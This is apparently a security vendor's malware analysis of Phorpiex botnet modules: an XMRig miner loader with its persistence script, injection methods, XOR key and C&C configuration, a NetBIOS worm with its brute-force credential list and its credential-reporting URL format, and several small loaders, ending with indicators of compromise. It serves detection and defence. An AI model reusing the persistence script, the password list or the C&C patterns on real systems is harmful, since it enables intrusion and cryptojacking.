Following our recent Phorpiex publications, we finish with technical descriptions of the modules we encountered in this campaign. Below we describe the remaining ones:
Our previous publications about Phorpiex botnet can be found here:
The main purpose of this module is to launch an embedded XMRig monero miner.
Monero (or XMR) is a decentralized cryptocurrency, meaning it is a form of secure digital cash used by a network of users. Transactions are confirmed by distributed consensus and then immutably recorded on the blockchain.
What makes this cryptocurrency very appealing to malware operators is the anonymity of the process: “Monero is untraceable, i.e., sending and receiving addresses as well as transacted amounts are obfuscated by default. Transactions on the Monero blockchain cannot be linked to a particular user or real-world identity.” (https://www.getmonero.org/)
The Monero miner, which has open source code called XMRig, is one of the payloads used for monetizing the Phorpiex botnet. In one of our previous publications, we discussed the mining profitability of the botnet. Infected computers are able to generate approximately $15,000 per month for the malware operators.
What is required from malware operators is to deliver the miner to the infected machine and run it. That’s the purpose of the XMRig Silent Loader module (also referred to as XMRig Loader). The miner itself, and its parameters (such as the number of threads that are used for mining and target user), are obfuscated using a simple cypher and embedded into the module. The parameters are decrypted and passed to the miner before execution.
Indeed, the XMRig Loader used by Phorpiex is identical to the one for sale on the https://xmrminer.net/ website, and most likely was purchased there.
Figure 1 – Description of the miner from the website.
The module is initially loaded and executed by Phorpiex Tldr. However, the XMRig Loader module has its own persistence mechanism. Therefore, once it is executed for the first time, it can function as a standalone malware.
A summary of all the key actions of the loader:
Figure 2 – XMRig Loader execution flow.
To prevent running multiple instances of XMRig, the loader creates a mutex with a hardcoded name. Names vary across the samples. We observed the following hardcoded variants:
The loader copies itself to “C:\ProgramData\{HardcodedFolder}\{HardcodedExecutable}”.
We saw these values for the “{HardcodedExecutable}” parameter across different samples (one value per sample):
The path “C:\ProgramData\{HardcodedFolder}” is also used for storing temporary files like a VB script and the configuration that is passed to the miner.
We encountered the following values for the “{HardcodedFolder}” parameter in different samples (one value per sample):
Then the malware creates a link to self-copy in the startup folder:
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\{HardcodedFilename}.url
The following values were encountered for “{HardcodedFilename}” parameter in different samples (one value per sample):
The following screenshot shows the link in the startup folder and the path to the executable:
Figure 3 – Path to malicious executable inside startup link.
One noteworthy thing we discovered is that the loader selects the method of startup URL creation based on the presence of the following Emsisoft anti-malware processes in the system:
If none of these processes is detected, the startup link is created via execution of the following VBS:
Figure 4 – VB script inside the directory created by the malware.
Set objFSO=CreateObject("Scripting.FileSystemObject")
outFile="C:\Users\Lab\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\kBBcUBIbha.url"
Set objFile = objFSO.CreateTextFile(outFile,True)
objFile.Write "[InternetShortcut]" & vbCrLf & "URL=""file:///C:\ProgramData\FeSdavbMaL\cfgmgr.exe"""
objFile.Close
If the VB script fails to create this startup configuration or any of the Emsisoft processes listed above is detected, “traditional” WinAPI functions are used instead and are called directly from the loader.
There is an additional check inside the function which is responsible for VBS execution whether any anti-malware processes are running or not. Usually, VBS is executed with the following command:
cmd.exe /C WScript “C:\ProgramData\FeSdavbMaL\r.vbs”
Thread-injection (see the Thread injection section) is used instead of a direct “cmd” invocation if any of the following processes are encountered:
Both x86 and x64 architectures are supported. For x86, the loader searches for explorer.exe. For x64, all the processes are enumerated, but these two are ignored:
When the list of accessible processes is built, the first one is chosen for injection. The entire loader is injected there, but only one function is executed.
Everything above is summarized in the following picture:
Figure 5 – Injection method decision tree.
The purpose of injected thread is to create startup configuration via VBS execution (the same script described in the previous section):
cmd.exe /C WScript “C:\ProgramData\FeSdavbMaL\r.vbs”
The loader configuration values and the XMRig Miner payload are encrypted with XOR. The decryption key “0125789244697858” is hardcoded into the binary. After decryption, the following configuration values are obtained:
http://185.176.27[.]132/update.txt
4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQujt72bSgzs7j6uNDV
176.27.132:4545
The entire miner executable is decrypted with a hardcoded XOR key (see the Encryption section):
Figure 6 – Code responsible for miner decryption.
The miner code is injected into the address space of a newly created process from the “C:\Windows\System32” directory, namely, wuapp.exe. If, for some reason, the GetFileAttributes returned null when getting attributes for wuapp.exe, then svchost.exe is launched instead.
Before performing the miner injection and during its execution, the loader checks the status of taskmgr.exe. If it detects that the task manager is running, the loader terminates miner (if it is running) and hangs in an endless loop until the task manager is not running anymore. CPU is not consumed because the Sleep(4) function is used in the loop.When taskmgr.exe is not detected, the miner is launched again.
After the new process is created, the miner is injected in that location with the usual process called hollowing technique.
There is a command line option “–show-window” which makes the miner window visible:
cfgmgr.exe --show-window
The following screenshot shows how it looks:
Figure 7 – Launched miner.
After the miner is launched, the loader connects to the server to get additional instructions (if there are any). See the Network communication section below for more details.
The XMRig miner, which is the final payload, is taken from GitHub.
The most peculiar thing about the injection process is how the functions are called.
The loader maps its own ntdll.dll copy, searches for the necessary functions there, makes an internal array of pointers to these functions and calls them afterwards. All of this renders the user mode hooks completely useless.
The address of ntdll.dll is obtained via PEB:
Figure 8 – Code responsible for obtaining ntdll.dll address via PEB.
The ESI contains ntdll.dll address:
ESI 777A000 ntdll.777A000 |
A description of this method (with slight modification) can be found here:
https://reverseengineering.stackexchange.com/questions/4465/where-is-ntdll-dll
The library itself can be accessed through the Directory Object “KnownDlls\ntdll.dll” ( a section that represents content of ntdll.dll library for easy access), and the code sample can be viewed here:
https://community.osr.com/discussion/268187
After this export process, a section of the code is parsed. The addresses of necessary functions are retrieved, written to an internal array and are ready to be called later.
The configuration is saved to “C:\ProgramData\{HardcodedFolder}\cfg” by the loader and is passed to the miner as a command line argument. See the Setting up persistence section for possible values of the {HardcodedFolder} parameter.
The miner configuration has the following structure:
{ "algo": "cryptonight", "autosave": false, "background": false, "colors": true, "retries": 5, "retry-pause": 5, "syslog": false, "print-time": 60, "av": 0, "safe": false, "cpu-priority": null, "cpu-affinity": null, "donate-level": 0, "threads": 1, "pools": [ { "url": "185.176.27.132:4545", "user": "ea7c252d-5590-4983-995d-02a1a35bb966", "pass": "x", "keepalive": false, "nicehash": false, "variant": "r", "tls": false, "tls-fingerprint": null } ], "api": { "port": 0, "access-token": null, "worker-id": null } }
The shaded sections represent code that is not constant and may be changed inside the loader. However, detailed inspection reveals their pseudo-variable nature and we can effectively treat all the values as constants.
In the researched sample, all the configuration values were set to hardcoded ones, except for the “threads” value which was set equal to the number of processors in the system.
The mining algorithm is set in the “variant” field. In this case it is “CryptoNightR (Monero’s variant 4)” according to the list of supported algorithms.
During loader execution, we discovered the XMR wallet which was present in the memory. Different samples may contain different wallets; from what we have seen, they are the same as the ones used in other Phorpiex modules.
This made us wonder about the purpose of the XMR wallet in this module. We checked places where it’s supposed to be used and found out that it’s re-written with the user ID (equivalent to the machine GUID) which then goes to the configuration:
Figure 9 – Re-writing XMR wallet with user ID.
The XMRig Loader checks if there are any new instructions on the C&C server and executes those it finds. This communication is performed twice: before the miner injection, and afterward. Plain HTTP protocol with no encryption is used.
We found these peculiar values in the corresponding fields:
Field | Value |
Accept | text/*, application/exe, application/zlib, application/gzip, application/applefile |
User-Agent | WinInetGet/0.1 |
Table 1 – Hardcoded values in HTTP request fields.
A description of the supported commands can be found on the website where the loader is sold: xmrminer[.]net (please note that visiting this website may be unsafe).
The commands are listed below in the format used when they were sent from the C&C server (original comments preserved):
[Miner] address=YOUR_XMR_ADDRES ; XMR address, email (minergate), btc address (nicehash), etc. poolport=pool.minexmr.com:4444 ; Do not include 'stratum+tcp://' e.g monerohash.com:3333 password=x ; Pool password stop=0 ; Change this value to "1" to stop miner. If not specified or equal to "0" miner will work. proxy=0 ; Change this value to "1" if you are mining to xmrig-proxy instead of pool. This enables using a unqiue address per worker for better miner monitoring. keepalive=0 ; 0 to disable keepalive, 1 to enable keepalive [Update] ;config_url=http://xmrminer.net/config.txt ; You can update the url that points to the configuration file. Must begin with "http://" or "https://" knock_time=30 ; Number of minutes the miner waits between visits to config file. If never specified, default is 30 minutes. ;update_url=http://mysite.com/new_miner ; url of new miner. Miner will get updated with this file. ;update_hash=xxxxxxxxxx ; md5 hash of new miner file. 32 characters long (16 byte hexadecimal format for hash). You need to specify this value, othewise miner will not get updated! ;End of configuration. Do not remove this line, ";End" string specifies end of configuration file. ;Everything after a ";" character is a comment, so it is ignored by the miner when parsing the configuration. Only the ";" character is used for this purpose. ;Always include the appropriate options below the defined "[Miner]" and "[Update]" sections. If you do not include the section names it won't work. ;Make sure everything is spelled correctly ;If you specify "config_url" double check it is correctly spelled, otherwise the miner that reads an incorrect url will never go back to a correct url (i.e. last configuration will be locked).
The commands may be sent by the server from any sub-section ([Miner] or [Update]) and may be sent singly or sequentially.
We list examples of observed commands below.
Miner update
Figure 10 – Getting an update from the C&C server.
Action summary: The URL of the new miner is retrieved and downloaded.
Miner stop
Figure 11 – “Stop miner” command is received from the server.
This is also easily understandable. Please note that different filenames may be requested from the server.
The ones we’ve encountered include:
This module represents a self-spreading worm which also includes functionality for downloading an additional payload.
The NetBIOS Worm scans random IP addresses for an open 139 TCP port (NetBIOS) and runs a brute-force attack using a hard-coded list of usernames and passwords. The attack itself is performed in an infinite loop. The IP addresses for scanning are generated randomly using the rand() function and GetTickCount() results as a random seed. The only filter rule for an IP address is that it cannot start with 127, 172 or 192. A separate thread is created to communicate with each IP address. Astute readers may have already observed that the scanning functionality is quite similar to the one in the Phorpiex VNC Worm module.
The NetBIOS Worm prevents multiple executions in several instances by creating a mutex with a hardcoded name (the name varies between samples). It stops execution if the mutex already exists.
If it was loaded by Phorpiex Tldr, this module is saved with a pseudo-random name. During the self-spreading stage, the malware uploads itself with the name “WindowsDefender.exe”. In this case NetBIOS Worm must download the main Phorpiex module or another payload. Therefore, the malware acquires its filename by calling GetModuleFilename(). If the name is “WindowsDefender.exe”, it tries to download and execute a file from a hardcoded URL:
Figure 12 – Downloading payload by NetBIOS Worm.
We observed the following URLs in different samples:
hxxp://92.63.197.153/NB.exe hxxp://92.63.197.153/nb.exe hxxp://193.32.161.77/CRAZYBLAYNE.exe hxxp://92.63.197.153/enum.exe hxxp://193.32.161.77/enum.exe hxxp://193.32.161.77/aldenta.exe |
Finally, the network scanning is started in an infinite loop. For each randomly generated IP address, the NetBIOS module starts a thread in which it first checks if 139 TCP port is listening on the target host. When successfully connected, the NetBIOS worm tries to enumerate network shares by calling the NetShareEnum() API function. It selects only shares with non-zero current connections to the resource:
Figure 13 – Selecting a network share for a brute-force attack.
The Phorpiex NetBIOS worm tries to connect to the network shares using the hard-coded list of user names and passwords:
Figure 14 – Credentials used for a brute-force attack.
The list of passwords usually includes very simple values like “123”, “admin”, “Administrator123”, etc.
Four values are used as user names:
Administrator administrator Admin admin |
When successfully connected to the network resource, the malware tries to copy itself to these locations:
WindowsDefender.exe WINDOWS\All Users\StartMenu\Programs\Startup\WindowsDefender.exe WINDOWS\StartMenu\Programs\Startup\WindowsDefender.exe WINNT\Profiles\All Users\StartMenu\Programs\Startup\WindowsDefender.exe ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\WindowsDefender.exe Users\All Users\Microsoft\Windows\Start Menu\Programs\WindowsDefender.exe Documents and Settings\All Users\StartMenu\Programs\Startup\WindowsDefender.exe |
Figure 15 – List of network locations used for self-spreading.
As the target paths point to startup folders, this is how the malware ensures its persistence in the target system.
The final step is to invoke the execution of the uploaded sample on the target host. It is performed in two ways:
Those actions are performed for each network path.
Every successful operation is followed by reporting to a C&C server, using a simple HTTP request to the URL with this format:
snwprintf(url, L"hxxp://92.63.197.153/e.php?srv=%ls|%ls|%ls|%ls", NetLocation, UserName, Password, Message);
The user-agent for such HTTP requests:
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 |
The malware can send the following messages:
Message | Description | Example |
CONNECTED! | Successfully connected with the selected username and password | hxxp://92.63.197.153/e.php?srv=?\\1.1.1.1\C$|Administrator|123|CONNECTED! |
COPIEDFILE | Malicious payload uploaded | hxxp://92.63.197.153/e.php?srv=\\1.1.1.1\C$\ProgramData\Microsoft\Windows\Start%20Menu\Programs\StartUp\WindowsDefender.exe|Administrator|123|COPIEDFILE |
CreateServiceW | Service created | hxxp://92.63.197.153/e.php?srv=\\1.1.1.1\C$\ProgramData\Microsoft\Windows\Start%20Menu\Programs\StartUp\WindowsDefender.exe|Administrator|123|CreateServiceW |
NetScheduleJobAdd | Task created | hxxp://92.63.197.153/e.php?srv=\\1.1.1.1\C$\ProgramData\Microsoft\Windows\Start%20Menu\Programs\StartUp\WindowsDefender.exe|Administrator|123|NetScheduleJobAdd |
We also observed these messages in other samples:
Message | Description |
COPiED | Malicious payload uploaded |
SVC-NEWWW | Malicious service created |
SVC-NEW | Malicious service created |
SVC-EXEC | Malicious service started |
Sched-EXEC-NEW | Malicious task created |
Sched-EXEC-OLD | Malicious task created |
We observed the following reporting URLs in various samples:
hxxp://193.32.161.77/nb.php?srv= |
hxxp://193.32.161.77/exec.php?srv= |
hxxp://193.32.161.77/nn.php?srv= |
hxxp://193.32.161.77/gud.php?srv= |
hxxp://193.32.161.77/go.php?srv= |
hxxp://193.32.161.77/netb.php?srv= |
hxxp://193.32.161.77/ok.php?srv= |
hxxp://92.63.197.153/e.php?srv= |
hxxp://92.63.197.153/huh.php?srv= |
hxxp://92.63.197.153/nb.php?srv= |
hxxp://92.63.197.153/tst.php?srv= |
hxxp://92.63.197.153/ya.php?nb= |
As you can see, Phorpiex is very versatile. It appears that the main module receives a queue of “commands”, each of which is a separate executable module. As opposed to what we previously described, we also observed a lot of different variants of tiny modules with very limited functionality. Some of them can’t even be considered malicious.
Our first example of such tiny executable loaded by Phorpiex is a Clean-Up module. It contains 2 functions and its only purpose is to terminate processes with specified hard-coded names and delete several registry auto-run entries.
The list of processes terminated by the Clean-Up module includes:
The Clean-Up module also deletes the following values from the registry key “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\”:
This module disables outdated Phorpiex modules such as Phorpiex Trik. As you may have noted, different Phorpiex modules use specific process names as a disguise inside the infected system (“cfgmgr.exe”, “windrv32.exe”, etc.). For example, the process name “winmgr.exe” is used by Phorpiex Trik version 2.8:
Figure 16 – Filename used by Phorpiex Trik v2.8.
Another type of auxiliary module is a geo-targeted loader. It determines the location of the infected computer using the service api.wipmania.com. If a returned code is in the whitelist, the malware downloads a payload from the hard-coded URL:
Figure 17 – Region codes and URL for downloading malicious payload used by the loader.
At the beginning of 2019, we saw loaders that target devices in China and Vietnam and load different variants of GandCrab ransomware to infected computers depending on the location.
After the GandCrab developers retired, Phorpiex started to deliver Raccoon Stealer in geo-targeted campaigns. The targets included India, Indonesia, Mexico, Peru, Bangladesh, Pakistan, Iran, Ecuador, and Brazil.
Phorpiex is a very peculiar malware family whose features include micro-modules with granular functionality. Instead of all-in-one malware with a variety of different functions, here we have a constructor-like malware with dedicated responsibilities from each of the featured modules: a module to send spam emails, a worm module to infect and so on. If a new functionality is required, a new module is introduced without the necessity to rebuild or reconfigure existing ones. This approach is less error prone, less time consuming and saves malware developers a lot of effort.
The results of such an approach are noteworthy. To date, Phorpiex has infected more than one million machines and makes a decent profit for its authors. Keep in mind that this is only the tip of the iceberg as far as what we could see and estimate; there is more behind, for example, Raccoon Stealer and Predator the Thief which stand out from the Phorpiex family and have their own methods for carrying out malicious activity.
Phorpiex clearly showcases how a malware family can rise to prominence and be one the most prevalent – all without using sophisticated tricks, anti-debug techniques, obfuscation and the like.
XMRig Silent Loader
MD5 | Mining Pool | Update URL |
b059cd4b912edd6ca6aad3334e42dbae | 92.63.197.153:9090 | http://92.63.197.153/c.txt |
36e824615d72d11a3f962ec025bfceba | 185.176.27.132:4545 | http://185.176.27.132/update.txt |
7f8880c0bc2dd024a3cf5261b6582313 | 92.63.197.153:7575 | http://92.63.197.153/update.txt |
a8ab5aca96d260e649026e7fc05837bf | 193.32.161.69:5555 | http://193.32.161.69/upd.txt |
d894eb9194a5cb428520914f5521f178 | 193.32.161.73:7777 | http://193.32.161.73/update.txt |
e9c27bbfbf386c55d0672c8a580c13ef | 193.32.161.77:9595 | http://193.32.161.77/xmrupdate.txt |
b5f1ba1cbf0e402b9a412edce8c6ca28 | 92.63.197.60:9090 | http://92.63.197.60/newup.txt |
Mutex names |
0fe420b0eb8396a48280 |
3f3ff4de39fc87f8152a |
4b293105d7b102179b20 |
5d6eb4d965fd09330511 |
a6c92143cac02de51d4a |
bf73f1604fc0b6b3d70d |
ff9702c705fd434610c0 |
Constant strings seen across various samples:
Strings |
0125789244697858 |
f23e1993dfdXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX |
objFile.Write “[InternetShortcut]” & vbCrLf & “URL=””file:/// |
Phorpiex NetBIOS Worm Module
MD5 | Downloaded from |
79a9b27bebf2d5dc61b44e51a576e585 | hxxp://osheoufhusheoghuesd.ru/3.exe |
4ca68f9575c366e4156429aa51edec98 | hxxp://osheoufhusheoghuesd.ru/2.exe |
b405cb01f9664b35e351c85ae368a662 | hxxp://osheoufhusheoghuesd.ru/5.exe |
00a30dd47d891979d19743279d9632c7 | hxxp://osheoufhusheoghuesd.ru/5.exe |
7f2906a696b27f63859d9250876908f6 | hxxp://osheoufhusheoghuesd.ru/3.exe |
URLs | |
hxxp://92.63.197.153/NB.exe | |
hxxp://92.63.197.153/nb.exe | |
hxxp://193.32.161.77/CRAZYBLAYNE.exe | |
hxxp://92.63.197.153/enum.exe | |
hxxp://193.32.161.77/enum.exe | |
hxxp://193.32.161.77/aldenta.exe |
The full list of passwords used by NetBIOS Worm Module for brute-force attacks that were observed in different samples:
Administrator administrator Admin admin Admin123 admin123 Admin12345 admni12345 password Password PASSWORD password123 passwd pass pass123 123 1234 12345 123456 1234567 12345678 123123 654321 54321 4321 321 server Server srv user User USER user123 testuser test test1 testtest test123 testing qwerty 1q2w3e abc abcde abcabc asd asdf abc123 computer internet secure changme boss desktop desk temp windows public master lan lan123 LAN net network demo setup backup letmein sysadmin mysql monitor operator monkey money |
Auxiliary modules
MD5 | Module type |
39db80011f66bd6a67b717e6e4f875ba | Clean-Up Module |
88fa70f752612c03b6cb9718a1248778 | Clean-Up Module |
b943cb767c772ebb6f0c7c80ff98cc3e | Clean-Up Module |
9c6fc641121324152ed4e1958fd09a65 | Clean-Up Module |
cf904ade613134cbf505050fbfd1b7fa | VNC Worm Module |
250d6ceed2c29a281a4a135b7234056a | Geo-targeted Loader (GandCrab) |
f44b6e0aed5ba70ea123ede5942ffaae | Geo-targeted Loader (Raccoon) |
db931ca9471c69d11df0f70089cb96f4 | Geo-targeted Loader (Raccoon) |
5b12844df9f807fdd3020266f211168e | Geo-targeted Loader (Raccoon) |
1d053f476509e9100b1f98fef9de7cc7 | Geo-targeted Loader (Raccoon) |
URLs |
http://92.63.197.153/KrabGEO.exe |
http://92.63.197.153/KrabLang.exe |
http://193.32.161.77/stl.exe |
http://185.176.27.132/inf/n.exe |
http://185.176.27.132/p.exe |
Check Point Anti-Bot blade provides protection against this threat:
Worm.Win32.Phorpiex.C
Worm.Win32.Phorpiex.D
Worm.Win32.Phorpiex.H